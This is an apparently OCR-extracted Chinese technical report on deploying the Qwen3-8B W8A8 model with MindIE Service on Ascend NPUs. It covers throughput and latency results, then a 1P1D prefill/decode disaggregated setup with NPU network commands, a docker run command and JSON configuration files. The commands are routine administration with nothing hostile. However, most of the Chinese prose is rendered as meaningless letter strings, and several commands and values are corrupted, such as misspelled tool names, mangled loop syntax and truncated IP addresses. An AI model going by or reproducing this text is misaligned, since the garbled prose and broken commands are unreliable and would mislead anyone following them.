THERRE 100%, B P95 AR, HBMAIFHA 8 T aAZEEN.

LRERE, A, max_tokens=256, FH& 8 7E24BI Qwen3-8B W8A8 B2-& MindIE Service
WETESRIFNELSHEYE, sHEARLRAMEETERE. GWSEXEMEE, 7%
BEHE 4, aEXEIENR, HR8EEHE.

T3 HEERE

ET SRR, EFEEEA. max_tokens=256, #H%& 8 {EAARLIGINE TR EED
B, ZEET, 80 NEKELIPAIN, AINZEA 100%; Requests/s A% 1.816, fBEYBRARL:
ZIRF 6.9 35, FIIRITES 4.404s, PO5 AYFES 4.420s, KRHIBAEKEF K, WHIZEEE
24B1 Qwen3-8B WB8AS Bk MindIE Service IMEFEZRFHIAEHEF IS ILEE

BCEIN HEFE WA
MAKE CENELT CLIN NSRS A E L E B E N
max_tokens 256 FPAEIE5TEEMEAN Decode #ERT
FRE 8 FIHEFBAE, P95 RFFEAIE
temperature 0.3 PRI HBENIE, ETFRENN
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HOAWE! HREER BT #6437
stream false Wi NS e o G | S S
BRI, HFHER. &
T . BRI
e B RIS ’

SZ8LALEE, 3B Qwen3-8B WBA8 SUIEELTE MindIE Service BRIFMET, HFRAE
WA . max_tokens=256. & 8 EAFEHECE . IZECEEMINRIFIT 100%9811R T, &
Requests/s I2F+Z 1.816, P95 BIFEIZFIFE 4.420s, BESTERNTFNATIEZ [BEUSEAFFEr .

4.6 SCIG /N

AL KV Cache FRIEFIZ0, EF Qwen3-8B WBA8 SXHEEYZE MindIE Service
FROMEEARSS, KR TRARLZ. Kad . KBAMSHATDS . LIERKE, EHA
B2 T iRRERATIEEES Decode FYEREANE, max_tokens M 256 #EH0F 512 5, FIORIZESL
SFEIZ; N tokens M 27 1EhNZE 1341 7, prefill_time AR EFH, HBIGASIEN
Prefill BYERFN#EG KV Cache ¥9i2%; @I<iNIRE] HTTP424, iHBBSHRIRSFEBAK
B,

SHASCINERA, HAHIEANUEERSERRSEIL. HESEET, BKREINER
100%, Requests/siAZl 1.816, P95 BIFES 4.420s, EAKPALTIEETEEE. B, 28]
SCIOHETERBARIIA . max_tokens=256. HA& 8 {E AT EHRCE; MNRIVSHEXERAIIE, nIfE
{i& max_tokens ZiEREH A 4., BIAKE, HBRAEEESXIIMINE. FIYRIE. PI5 AY
ZE. &0, prefill_time 1 decode_time, EEMI. ASEFFEEMY ZEEUSFE

4.7 BE

FEARLIGH, max_tokens. MINKEMF AL S BI&0I Decode FER. Prefill FERFNARSS
&t NREZEIERSHEBIELIERSS, REWMIRIERR SIS IEIFRNSER
#. MEKERFFIHAEE? BES (RIS L TGS HITO .

SELR: gELIEESH, BAKE. BB KENHAREZERBEISZSBIRATEES .
ANRASSLA “RASEEMRSE” , BIINESEERR. E&NE . HFEREXRER TS, NREEH
BMATIEEIRE, WMAMETLARS] Prompt iKE, #RE ETIXUEN Prefill ¥80Y; MR
I8 max_tokens 1=HI7E 128 ~256 Z (8], /> Decode L#FNimElimlafidia); HARERD
PUSREBMRSTROFEA 4, LUFIIE PO5 RHSERATE, /D HEASSFIREIER .

MRS UA “HIHRET , PINNERE . B&EE4ER. SEPHABEESS, TLUES
IRESFHAEKIZEH Requests/s, ARSLIGH, FA& 8 TERLINER 100%AY1ER T, Requests/s ik
£ 1.816, P95 HIFES 4.420s, REBiZACEESIINE FESRIFIIELSIELEFE .
Iy, HFEIHAEIHETRA max_tokens=256". k& 8 {EAMEFAE; MRJBEMERKIK,
RIFEHITHER .. MESEEERT, BRMNTKMA HTTP424, XNFEEES, TLUEH
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}E5 max_tokens'E| 512, (BREXRZTESIE, FHIEEH&LLER Decode F1 KV Cache [£
hEs.

SEXRE, RATEMEZSMRA ‘A EHd. BEHE" BI%KE,;, FHREmsETXR
B ‘S, EPiad. BREFHE” IR, TieHns, #ANRIERE—ISIR, M
FEIRTRERINER . FIIRIEE. PO5 BIZE. Requests/s. “prefill_time'#1'decode_time", H{RAR
SHEREEERIET.
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PD 3 EHEELIE

5.1 LI ME
5.1.1 XFASLLG

ERIFLIES, B25 T Qwen3-8B EERITIEIEHET . WBAS S FNIEMIBMILIGIE
ARELIEFEILEM £, #H—5{FF MindIE #IBIEZE5SR Qwen3-8BW8A8 £(IEEAY PD 0F
EREIOIE .

PD HEEE R AREEIHFIBIRS PR —FEBEBMMA S X . IXEBRY PD 5545 Prefill #0 Decode
MEEMER . Heb, Prefill HEREELRFLEBAN Prompt F4RYL KVCache, Decode FER
FERERET KVCache iX Token &S . (EFRESEPBIRANT, Prefill #1 Decode &
BEER—ELHIP5ERL; M PD D BB MRS AR ARRE LE1T, M
BEFSIMMHITESR. EFEARNSEREAERE.

ARSLIGSEAEEHINNE 1P1D AERE, BIMER 1 4 Prefill SEIF0 1 4 Decode SLHISERHEER
BRS5 . Prefill SLBI4BE NPUO, Decode SLA5I4BE NPU1, Controller fazs P/D fE&EIEFIK
SR, Coordinator fEAZ—IR AN OXIIMER OpenAl FFEO ., BRIBEKRELELXE!
Coordinator, FH Coordinator £5& Controller #HPRISCHNARS, EHERIEREZ Prefill F1
Decode SLHISSRUEIE . ASLICMRIEIIEATAS:

(1) BCEIERAME: #8IA P STl D L. Controller #1 Coordinator BE&—%;

(2) fatRIEMEME: FEIA P STHIEHN prefill F8&, D SLHIFEN decode fAEE;

(3) $ERRIFAfME: #iA P/D 228 linkStatus 79 ok;

(4) BRSBIEMEME: FEIA Coordinator A ready IR7;

(5) EIRIEREME: #EIAIT/v1/chat/completions O T LASEREIEIEK;

(6) SEIEENERE: A WBAS E(IEEIGTLI AT PD PEEE

5.1.2 LIS HAY
BEI ALY, ZFREFEEEEET MindIE ZaEEIIIR 1P1D Fa) PD DBEIENERLIE,
Fi2fE PD D EEEPZAMEFRIER. BEEXREMNIES . ALRAERBIRINT:
o IEfE Prefill BEZFN Decode FERE AR ELEIRS FEHRYVERT
o IFf# MindIE & Prefill SL5l. Decode SEf3l. Controller 1 Coordinator Z[BJFYXE
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® =42 globalranktable. PSCEIEZE. D SLHIECE. Controller BEZEF Coordinator ELEHY
KEFR

o EiERRSS83USS IP. NPUHCCNIP, P/D i, Controller iM% Coordinator if[1.Z 8]
AIRS LK B

® 5Ehk Qwen3-8BWSA8 EUIREAIEHIINF 1P1D #E

® E/v2/status EOWIE P/D A ERIHIHEERIATS

5.1.3 SCEGIX
ASLIGFIESE 3 A WBA8 EHIEEL, HEME 4 EFEEWIETRY MindIE 2RSS
HitgeH. EALNH, ESFAEEENASNARIE, MEXFEWEERINAENEENER
FEA PD DEEBRIZE
(1) ALHRFTESMUT:
® BE5EA Qwen3-8B W8A8 EWIERIER;
® B 52pk MindIE Service Ba-RIEIFISIE;
o CIMASRIELAIRSTLUIEREREILER;
o LEILIGTREATLAEE AT 1 3K Ascend NPU;
o EEFONEITAI MindIE Service BRE 4
(2) AL REEYIN-E 1P1D HEA (IP HtEES, USRS E ) , BENT:

FFiEK
|

v
Coordinator #EIE N [:xx.xx.xx.xx:1040

v
Controller JAZSETE:xx.xx.xx.xx:1050

|
+-->Prefill SE51:NPUO,xx.xx.xx.xx:1025/1026/1027, interCommPort1121

|
+-->Decode SEff:NPU1T,xx.xx.xx.xx:1028/1029/1030, interCommPort1122

Prefill SEfl: AR Prompt BUFUEZTEITE, FH4ERL KVCache

Decode 3fi: faZRETF KVCache & Token 4EpiiHEER

Controller: A5 P/D EFPREEIE. ABHEMERRTEL

Coordinator: FASSIEIIMEIIEIRIER, FHEIERIAES P/D Lf

globalranktable: ##i& P/D 3£, Controller 1 Coordinator {9 IP. i%[OF1 NPU B(EER

(3) FEMEIINT
%5 (=1

fR352E Atlas 800T A2

NPUEIS Ascend910B3
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NPU#E {ER25Kk &
EREIEI EHN-R1P1D

swr.cn-south-1.myhuaweicloud.com/ascendhub/mindie:2.2.RC1-

MindIE$E
ind IR 800I1-A2-py311-openeuler24.03-lts

BREEZER | /mnt/mnt

SCIORIARBZR | /mnt/class/qwen3_deploy/test_hzl/pd_depoly

e =E] /bmwné/acéass/qwen3_deploy/test_hzl/m|ndle/q uant_output/qwen3_8

SFIMEIBNLO | http://xxxx.xx.xx:1040/v1/chat/completions ( LASEFRIAE M )

(4) IP RN (AR{ESEFRIARIEDL )
PD 5EEREXT IP iR EERRS . ALWFEX DS IP:

# IRSZ2EVSE IP: BBF P/D IREE. Controller. Coordinator X9ME(S, ZNSEISENE XX XX.XX.XX
# WA HSWT

ip route get 8.8.8.8

hostname -I

# NPU HCCNIP: FBF NPU [BiB{SF0 P/D $E&sE7, ASLIGEME NPU0:192.168.13.10,
NPU1:192.168.13.11

# FRIAGRSUT

/usr/local/Ascend/driver/tools/hcen_tool -i O -ip -g
/usr/local/Ascend/driver/tools/hcen_tool -i 1 -ip -g

(5) iwOAMEILNT

AELS i Ri&
PSLf 1025 LR ]
PSLAl 1026 PELAIBEEIRO, ATF/v2/statusiASEE
PSEf5) 1027 PSLliEtRiR ]
PSEf5) 1121 PSEGIRERE SR
DsLA5) 1028 DILAIEIRIR ]
DsEfI 1029 DLpIERIRO, BT /v2/statusikEET
DsEfI 1030 DLflfEtRim ]
DL 1122 DL AERE S im
Coordinator 1040 Z—EIEAO
Coordinator 1041 Coordinator&t&im [



http://10.175.221.8:1040/v1/chat/completions

IREUEIE N ARE LI 25690

Controller 1050 Controller HTTPRSSiw

SLEAHRENE Dikin 2 &G :

ss -Intp|grep -E "1025|1026]|1027|1028|1029]1030|1040|1041|1050|1121|1122"||echo "EXIAEROR LIS
I, SAREed. "

(6) SCICEHFME
AL ERE M ASG—RELLTERS:

# {REBVEFHARLIS(ERS 3 ERBSHLICE A WBA8 EIEEIB R
/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8

# ALRFIBRE MR SR —REU TERS
/mnt/class/qwen3_deploy/test_hzl/pd_depoly

pd_depoly/
——800TA2-1-global_ranktable.json
——config_p.json
———config_d.json
——ms_controller.json
——ms_coordinator.json
——start_p.sh
——start_d.sh
——start_ctl.sh
—start_coor.sh
——mindie-p.log
——mindie-d.log
——mindie-ctl.log
L——mindie-coor.log

Erh, 800TA2-1-global_ranktable.json FIFHHAEEN PD HEBEBENEBERRIESE;
config_p.json #1 config_d.json 9 BlliAR Prefill S£IF0 Decode SLEHIRVIERL., i[O, NPU FIiE
E2#; ms_controller.json 1 ms_coordinator.json 43 5l#HiA Controller #1 Coordinator A9
ARS5ECE; start_*.sh BIABTRINFRNE MRS EMEG; mindie-*log MIHFRATFICRESE
. AR, REREMN ready IR, BEFEEEAITR,

(7 ) SCEEIEIERRR

AL R E .. BEs). BIIE"RIRFHET

BB HRFMIA WBA8 EWIREIB RFE; A/S/ES globalranktable. P SLffc
&, DLAIEE. Controller B2EF Coordinator ECE; #E#% Prefill L5, Decode SLfFl.
Controller. Coordinator NIFEsNARSS; &EERSEO. BEFNEEIEKIGIE PD 958
RSBERBIEE.

MRS CFIURER: F—, P IHMAZRRELA RoleReady/prefill; 5=, D LHMRZRRLA
RoleReady/decode; 55=, P/D Zia# linkStatus R ok; ZEPY, Coordinator H&EH RN
I MindIE-MScoordinatorisready!!! , FEIXLEEHHES, 81T Coordinator Y 1040 iz A&
1%/v1/chat/completions i&3K, WNREEBIEFEIREIEIREER, HEE prefill_time F




S

HUAWEI

REUEIR AR E LR 70,

decode_time_arr £=FE&, MiKAEAR Qwen3-8BWSAS8 EIEEIHY PD HEIREINALIS TS

5.2 PD 0 BEtE

ATETFERTHEMAI Qwen3-8BWSBA8 t&EY, #1T MindIE E2H13NF 1P1D 3z PD 9
BB . SLEGHP{ER NPUO {E9 Prefill L3I, {#F3 NPU1 {EJ9 Decode 3Lf5ll, i&@id Controller
SHAEEE, &I Coordinator 2HE—IEIEANL,

FEIEXENEENEF, FESLHLINEREE. BEERMA. RS IP A
NPUHCCNIP #i\flis O 5SS . BT PD DEIELS RS MAEMSNEO, MR P}
IKARERA—H, 825X P/D AABLEHES. Coordinator <8A notready 3k P/D $%i&Ti%
#EY, AL, ALIERMINEINE, BERSEMEE XS IBEIHA,

LR QEIBER

RNEWFIBEEX M. BallAFNETHER—KIE pd_depoly BRH, EFEEERE. &
BIEEBF.

MITAI T AL Bl B R

# SIEER
cd /mnt/class/qwen3_deploy/test_hzl
mkdir -p /mnt/class/qwen3_deploy/test_hzl/pd_depoly

# SRS, SEIERBTEMASSRAFTEREESNEFIA ., FEEmRIS4EE:
800TA2-1-global_ranktable.json

config_p.json

config_d.json

ms_controller.json

ms_coordinator.json

start_p.sh

start_d.sh

start_ctl.sh

start_coor.sh

L] 2 G0 NPU BEIRE

PD SEERES, PLAIFN D LhIfR T BEEZ S 1P BHTIRSBE, EHEKH
NPUHCCNIP Y REBEHEIE . 1Z5EI8S 5200 P/D Z[E#Y KVCache &aFILHIENAZ
Y05 NPUHCCNIP ECEEIR, [REERREHHIN linkStatus' §& . Coordinator 1<HE notready 5%
BERTEERETH

(1) EEENPUIP

# (ERWTar<SHECE NPU IP
/usr/local/Ascend/driver/tools/hccn_tool -i <NPU_ID> -ip -s address <NPU_IP> netmask <NETMASK>

# f5an, EBeE NPUO
/usr/local/Ascend/driver/tools/hccn_tool -i O -ip -s address 192.168.13.10 netmask 255.255.255.0
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# BE NPU1
/usr/local/Ascend/driver/tools/hccn_tool -i 1 -ip -s address 192.168.13.11 netmask 255.255.255.0

(2) 1ENEEEIRTS

ARSCEG{EA NPUO {EJ9 Prefill SE3l, NPU1 {EJ9 Decode SEfll, EIMTFEZES =iaill NPUO Fl
NPU1 B9 HCCNIP FI$EERIRZS o

echo "===== NPUOHCCNIP ====="
/usr/local/Ascend/driver/tools/hccn_tool -i 0 -ip -g

NPUGHCCNIP
[root@workerO; ~]# /usr/local/Ascend/drlver/tools/hccn tool
ipaddr:1 1
netmask : 255.255.255.0

[root@worker®3 ~]#
[root@worker®3 ~]# echo

[root@worker03 ~]# echo NPU1HCCNIP
NPU1HCCNIP
[root@worker03 ~]# Jusr/local/Ascend/driver/tools/hccn_tool -1 1 -ip -g
ipaddr:192.1
netmask:255.255. 255 0
[root@worker®3 ~]#

(3) #SHEM NPU BSEE
ALUERI TSt EEZE NPUO #1 NPU1 B9 IP. netdetect #0 link (S&.:

foriin01; do
echo " NPU $i "
/usr/local/Ascend/driver/tools/hccn_tool -i $i -ip -g
/usr/local/Ascend/driver/tools/hcen_tool -i $i -netdetect -g || true
/usr/local/Ascend/driver/tools/hcen_tool -i $i -link -g || true
done

# BEENMI NPU §EIRER

foriin $(seq 0 7); do
echo " NPU $i "
/usr/local/Ascend/driver/tools/hccn_tool -i $i -ip -g
/usr/local/Ascend/driver/tools/hccn_tool -i $i -netdetect -g || true
/usr/local/Ascend/driver/tools/hccn_tool -i $i -link -g || true

done
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[root@worker®3 ~J]# for 1 in 0 1;

echo NPU $1
Jusr/local/Ascend/driver/tools/hccn_tool -1 $1 -ip -g
Jusr/local/Ascend/driver/tools/hcen_tool -i $i -netdetect -g
J/usr/local/Ascend/driver/tools/hccn_tool -1 $1 -link

-
-
=
-

netmask :255.255.255.0

netdetect address:
link status: UP

netmask 255.255.255.0
netdetect address:
link status: UP
[root@workere3 ~J1# |}

SR linkstatus" B DOWN®, BELESLIREMFIKEEAYIEERAREEB . HCCN BLER
SRy HAENIRT R AILES ., FEASLIOH, &ZLL MindIE IRSZSIFENERY/v2/status iR [E145
JoE, HE P/D ELft9)9 RoleReady B linkStatus Y9 ok™, BIEJiiBEZHE] PD N EHEKEER
FESTRKIN

3 CIESLIRINR
ALWAABEN LETREESRPIET, SRR, BINFEIRY MindIE 885
D DEERE .

HERABENNE, ASLEJLASE (REEECIE ) Y MindIE INE ERETDHITRE,
LIFERARNE, 2ERENT: FRtESSTEEEBEVIT, BEAERN %%‘&L
‘docker'@ps . WMREZHANDE, WEEBXHIT docker ps'gl'docker run®, REBER
SEELEHEE NPU. MindIE AL BREEFT .

ARLIERAR AWK HERE P L. DSEfI. Controller #1 Coordinator, Z2EMIMET
NPUO 1 NPU1, FEBBEEN /mnt BFEHFITER, ETFEEHOEEERIHAER.

1

docker rm -f mindie_qwen3_1p1d 2>/dev/null || true

docker run -itd \
--name mindie_qwen3_1p1d \
--privileged \
--net=host \
--ipc=host \
--shm-size=128g \
--device=/dev/davinciO \
--device=/dev/davinci1 \
--device=/dev/davinci_manager \
--device=/dev/devmm_svm \
--device=/dev/hisi_hdc \
-v /usr/local/dcmi:/usr/local/dcmi \
-v Jusr/local/bin/npu-smi:/usr/local/bin/npu-smi \
-v /usr/local/Ascend/driver/lib64:/usr/local/Ascend/driver/lib64 \
-v /usr/local/Ascend/driver/version.info:/usr/local/Ascend/driver/version.info \
-v /usr/local/Ascend/driver/tools/hccn_tool:/usr/local/Ascend/driver/tools/hccn_tool \
-v /etc/ascend_install.info:/etc/ascend_install.info \

-v /tmp:/tmp \
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-v /mnt:;/mnt \
swr.cn-south-1.myhuaweicloud.com/ascendhub/mindie:2.2.RC1-800I-A2-py311-openeuler24.03-lts \
bash

# HANBZE
docker exec -it mindie_qwen3_1p1d bash

] 4 FAENEREBR

ALOFERZIEMEIERE, TAENERREER, 8SENEIMRENE. BT
B. DESNAMENEAXY, BRBENATINT:

# SHEEEIES
cd /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8

# BRAS

config.json

configuration.json
generation_config.json
quant_model_description.json
quant_model_weight_w8a8.safetensors
tokenizer.json

tokenizer_config.json

vocab.json

Hrh, quant_model_weight_w8a8.safetensors 3 W8A8 SLEAIMNEII, config.json J3
IEBIEMIERE {4, generation_config.json AR SEBLE X, tokenizer.json
vocab.json A EIEEEXI M, HAp, REEECE Y config.json AEREIGNT:

{
"architectures": [
"Qwen3ForCausalLM"
1
"attention_bias": false,
"attention_dropout": 0.0,
"bos_token_id": 151643,
"eos_token_id": 151645,
"head_dim": 128,
"hidden_act": "silu",
"hidden_size": 4096,
"initializer_range": 0.02,
"intermediate_size": 12288,
"max_position_embeddings": 40960,
"max_window_layers": 36,
"model_type": "qwen3",
"num_attention_heads": 32,
"num_hidden_layers": 36,
"num_key_value_heads": 8,
"rms_norm_eps": 1e-06,
"rope_scaling": null,
"rope_theta": 1000000,
"sliding_window": null,
"tie_word_embeddings": false,
"torch_dtype": "bfloat16",
"transformers_version": "4.51.0",
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"use_cache": true,
"use_sliding_window": false,
"vocab_size": 151936

}

MIEBVEIEL E AR LIB R, iZEBIZEE S qwen3, MZE45499 Qwen3ForCausallM,
FEEIEHEE N 4096, MEEH 36 B, FEILEN 32, KVLE 8, EANEKEN
40960, use_cache=true FREEMIRIFIZFRS(ER KV Cache, XEFELHTT PD 536
ER9ERE,

ARLIGH, Prefill SEfIF0 Decode SLHIFENEFE— P EMEREER, FEULFEE config_p.json
#1 config_d.json HAY modelWeightPath £BEERLE A

"modelWeightPath":"/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8"

FEIE, PD OBEHEHASRREMNERAMAD, MESHEEIEPRY Prefill BEFI
Decode ME& R EIRRLAEIHIE T, Et, PLAIF0 D LAIEEERS AR —HEEINE
B, “EZBITERGKIDEHE,

[root@workere3 pd_depolyl]# 11 /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8
total 9245180

root root 728 Apr :45 config.json

root root 73 Apr : configuration.json

root root 239 Apr :45 generation_config.json

root root 106185 Apr : quant_model_description.json

root root 9452732016 Apr :22 quant_model_weight_w8a8.safetensors
root root 11422654 Apr . tokenizer.json
root root 9732 Apr :45 tokenizer_config.json

1 root root 2776833 Apr : vocab. json

[root@worker03 pd_depolyl# [}

S5 HAIRSSSE IP. NPU HCCNIP i O3

PD DEZE N2 EEMIE, FEEIERSSESILSS IP F1 NPUHCCNIP #ZE, BRSSE81SS
IP FBF MindIE IRSZEEZ BRI HTTP i8S, a0 P 3245, D L. Controller 0
Coordinator Z[BIFPIKZSELE; NPUHCCNIP FBF P/D Lz BIHY/EEEB(EF KVCache 18X
HIRER -

WNERARSZ 2SS IP B EEIR, TJAESE Controller FEiXi/51a) P/D SE48, Coordinator $<EA&L
F notready JRZ; MR NPUHCCNIP BeEEIR, AIRESEN P/D Z iR A7,
linkStatus &% . Ft, EEMEENXEZET, EELEMIA IPIROEE,

RITA e SHITR—EE:

echo "===== 1 RS2 WSS IP I ====="

ip route get 8.8.8.8

hostname -I

echo

echo "===== 2.NPUO/NPU1 HCCNIP 1§& ====="

/usr/local/Ascend/driver/tools/hccn_tool -i O -ip -g
/usr/local/Ascend/driver/tools/hcen_tool -i 1 -ip -g

echo
echo "===== 3.NPU KEHKE ====="
npu-smi info

echo
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echo "===== 4.PD LB IAIKO HEEE ====="
ss -Intp|grep -E "1025|1026]1027|1028|1029]1030|1040|1041|1050|1121|1122"||echo "BAiAix O AT
W, SEEEED, "

: ip: comm
bash: hostname: command

Hugepages -Usage(page) |
Memory-Usage(MB) HBM-Usage(MB) |

+
|
|

+
|
|

+
|
|

+

23108, ASLIRERAINTIL:

3551 =10 EYE
R332 \S3IP server_ip/server_id XX XX XXXX
PrefillEEf5INPU device_id 0
PrefillSLINPUIP device_ip 192.168.13.10
DecodeZLf5INPU device_id 1
DecodeSEfINPUIP device_ip 192.168.13.11
Prefill¥ER i predict_port 1025
Prefill TRz mgmt_port 1026
Prefilligtmim metric_port 1027
Prefill EME(SiwE inter_comm_port 1121
DecodetfRix predict_port 1028
Decode&E1ix M mgmt_port 1029
Decode}gtrim M metric_port 1030
DecodeNEREB(Fiw inter_comm_port 1122
CoordinatoriiBim ] predict_port 1040
Coordinator& i manage_port 1041
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ControllerHTTPix M port

1050

£ 6 FEE globalranktable {4

globalranktable FiF#&it PD D EIEBFNEBRIFEE, €4 P LB, D =fl.

Controller. Coordinator BYfRS32: IP. BRSSUwE. NPU 5. NPUHCCNIP #0 rank (&,
Controller &iERUZ S, FHIRIEEHANSESH P/D LA . AELEFRESREL .
Y, iZ3{42 PD D ESEBFPRFBIECENEFZ—., ALIH, globalranktable X{4%t—

e

| /mnt/class/qwen3_deploy/test_hzl/pd_depoly/800TA2-1-global_ranktable.json

(1) EXREFRPFHITIN TS, BIAERECENH:

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > 800TA2-1-global_ranktable.json <<'EOF'
{
"version": "1.0",
"server_group_list": [
{
"group_id": "2",
"server_count": 2,
"server_list": [
{
"server_id": "XX.XX.XX.XX",
"server_ip": "XX.XX.XX.XX",
"predict_port": "1025",
"mgmt_port™: "1026",
"metric_port": "1027",
"inter_comm_port": "1121",

"device": [
{
"device_id": "0",
"device_ip": "192.168.13.10",
"rank_id": "0",
"device_logical_id": "0"
)
1
L
{

"server_id": "XX.XX.XX.XX",
"server_ip": "XX.XX.Xx.xX",
"predict_port": "1028",
"mgmt_port": "1029",
"metric_port": "1030",
"inter_comm_port": "1122",

"device": [
{
"device_id": "1",
"device_ip": "192.168.13.11",
"rank_id": "1",

"device_logical_id": "1"
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llgroup_idll: Il1 lI’
"server_count": 1,
"server_list": [

{

"server_id": "XX.XX.XX.XX",

"server_ip": "XX.XX.Xx.xx",
"port™: 1050

"group_id": "0",
"server_count": 1,
"server_list": [
{
"server_id": "XX.XX.XX.XX",
"server_ip": "XX.XX.xx.xx",
"port": 1040
}
1
}
1
"status": "completed"

}
EOF

R RIESCUHNR . MindIE MECEN N REZENE, NREEXHIREE, FIul
644, AJREEH I requiredpermissionis640,butgotpermissionis644 2R . EILLEINFE—I%
B 640,

# SHSUPRIE
chmod 640 /mnt/class/qwen3_deploy/test_hzl/pd_depoly/800TA2-1-global_ranktable.json

# MNHEeE
python3 -m json.tool /mnt/class/qwen3_deploy/test_hzl/pd_depoly/800TA2-1-
global_ranktable.json >/dev/null && echo "globalranktableJSON #&={1IEH&"

# ERSERE, TIUBEU FaSREREXREFR

grep -Ei
"server_id|server_ip|predict_port|mgmt_port|metric_port|inter_comm_port|device_id|device_ip|rank_id|devi
ce_logical_id|port" \

/mnt/class/qwen3_deploy/test_hzl/pd_depoly/800TA2-1-global_ranktable.json
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[root@worker®3 ~]# grep -E1 "server_id|server_ip|predict_port|mgmt_port|met
\
> /mnt/class/qwen3_deploy/test_hzl/pd_depoly/800TA2-1-global_ranktable.json

root@worker@03 ~1#

(2) globalranktable 531588

AR EE =/ server_group, EH, group_id=2 37~ P/D #HIESLEIZE, 125 Prefill L)
# Decode SLAIRYBRSS IR . B@(SimF] NPU {S2.; group_id=1 Z7R Controller S8 ;
group_id=0 37 Coordinator SEfI4H

FEARSLIOHR, PSCHIFN D SLAIEEBER—ARSR L, ELLE(IAY server_id 1 server_ip #B
FRE—MIRSZEWS IP, BD xxxxxxxXo. P SLHISBE NPUO, Xtz HCCNIP J9
192.168.13.10; D SL5I4BE NPU1, X35z HCCNIP 79 192.168.13.11,

(3) ERESRIA

ERREIHAARSS 2Rk NPU RAY, mRFBEXIEHIZ server_ip/server_id. device_id.
device_ip. device_logical_id #l¥wO EEE o

server_id 7 server_ip EE(EX N HBIARSEEAINSS IP, iZ IP —AZET iprouteget8.8.8.8 @n
SHfY src FERFIA o ARSLIE R XX XX XXXX o UNRFEMIRSZSEEMELIE, FeEERINZ
1P, HEEIRNBIFIRSEAIIRWSS IP,

device_ip EZIESITN NPU £HJ HCCNIP, MAEIRS2=VSE IP, % IP i@id hcen_tool-i £
B-ip-g t5<Ef . HIENASLIEH NPUO B9 HCCNIP 3 192.168.13.10, NPU1 RS HCCNIPjJ
192.168.13.11, ANERJFLEKAS NPU2 #1 NPU3, FiFEZE4BIEE NPU2 #1 NPU3 fY
HCCNIP, H[ELEE R device_ip FER .

device_id Z~¥I1E NPU =5, device_logical_id #£iX5 device_id {RiF—5, ALIg+ P L
Bi{ERR NPUO, Lt device_id #1 device_logical_id 1379 0; D SEfHFER NPU1, ELL—&E1S
791, WRIREIEM-£, #5140 P 8EA NPU2. D {EF NPU3, MIFEEIS P LKA
device_id=2. device_logical_id=2, D 3529 device_id=3. device_logical_id=3,
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rank_id FBF#riIR PD £E8$HAY rank fmS . ASCHSKA 1P1D #B&, P L9 rank_id=0, D
STBI79 rank_id=1. WISRBAZEN 1P1D 3pF, BEFREXE MEAZT ., REETER
% P. £ D g SHEEN, AHRZEE=FHAML rank IR,

inOBCE VN SEEE config_p.json. config_d.json. ms_controller.json.
ms_coordinator.json FISENIARRIF—EL . P 3LBIRY
predict_port/mgmt_port/metric_port/inter_comm_port 359 1025/1026/1027/1121, D
SCfFI43381 /9 1028/1029/1030/1122, Controller iF[9 1050, Coordinator AN
1040, MNRiwOWEHE, FEBIHMENFABEEXEEN Y, T8EREL ranktable HATiR
Ho

7  BUEE Prefill ¥1 Decode SLAIEZE {4

5eh globalranktable L&, EEH3IIE Prefill SLHIECE SX4FN Decode SLAIECE S .
A NECE GBI EREA—, TEXFIETFTLHISERN NPU K5, IRSixOFIAEREE
HORR .,
ARSLIGH, Prefill SLHIBRE {44529 config_p.json, Decode LHIECE {4apZ
config_d.json, FEPEEFIERINERE— Qwen3-8BW8SAS E{(IEEIER, (B9 BIiFIBREHIE
MEZ: Prefill LAIGSTIETITE, Decode SLBIRASRARADERL

(1) BlUEE Prefill SCHIECE 4
config_p.json F3FBCE Prefill SLAll, ARLIEH, Prefill SCAIEE NPUO, BRSZimES
1025/1026/1027, WEREEIRON 1121, BEEEREFISD WBAS EMIREIE R,
WITA T aps:

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

cat > config_p.json <<'EOF'
{
"Version": "1.0.0",
"ServerConfig": {
"ipAddress": "127.0.0.1",
"managementlpAddress™: "127.0.0.2",
"port": 1025,
"managementPort": 1026,
"metricsPort": 1027,
"allowAllZerolpListening™: true,
"maxLinkNum": 1000,
"httpsEnabled": false,
"fullTextEnabled": false,
"tlsCaPath": "security/ca/",
"tlsCaFile": ["ca.pem"],
"tlsCert": "security/certs/server.pem",
"tIsPk": "security/keys/server.key.pem",
"tlsPkPwd": "security/pass/key_pwd.txt",

"tIsCrlFiles": ["server_crl.pem"],
"managementTlsCaFile": ["management_ca.pem"],




W

HUAWEI

LSk SEYNEHE Sy

"managementTlIsCrlPath": "security/management/certs/",
"managementTIsCrlFiles": ["server_crl.pem"],
"kmcKsfMaster": "tools/pmt/master/ksfa",
"kmcKsfStandby": "tools/pmt/standby/ksfb",
"inferMode": "dmi",
"interCommTLSEnabled": false,
"interCommPort": 1121,
"interCommTlsCaPath": "security/grpc/ca/",
"interCommTlsCaFiles": ["ca.pem"],
"interCommTlsCert": "security/grpc/certs/server.pem",
"interCommPk": "security/grpc/keys/server.key.pem",
"interCommPkPwd": "security/grpc/pass/key_pwd.txt",
"interCommTlsCrlPath": "security/grpc/certs/",
"interCommTlIsCrlFiles": ["server_crl.pem"],
"openAiSupport": "vilm",
"tokenTimeout": 600,
"e2eTimeout": 600,
"distDPServerEnabled": false
I8
"BackendConfig": {
"backendName": "mindieservice_llm_engine",
"modellnstanceNumber": 1,
"npuDevicelds": [[0]],
"tokenizerProcessNumber": 8,
"multiNodesInferEnabled": false,
"multiNodesInferPort": 1120,
"interNodeTLSEnabled": false,
"interNodeTlsCaPath": "security/grpc/ca/",
"interNodeTlsCaFiles": ["ca.pem"],
"interNodeTlsCert": "security/grpc/certs/server.pem",
"interNodeTlsPk": "security/grpc/keys/server.key.pem",
"interNodeTlsPkPwd": "security/grpc/pass/mindie_server_key_pwd.txt",
"interNodeTlsCrlPath": "security/grpc/certs/",
"interNodeTlsCrlFiles": ["server_crl.pem"],
"interNodeKmcKsfMaster": "tools/pmt/master/ksfa",
"interNodeKmcKsfStandby": "tools/pmt/standby/ksfb",
"kvPoolConfig": {
"backend": "",
"configPath™: ""
b
"ModelDeployConfig": {
"maxSeqgLen": 2560,
"maxInputTokenLen": 2048,
"truncation": false,
"ModelConfig": [
{
"modellnstanceType": "Standard",
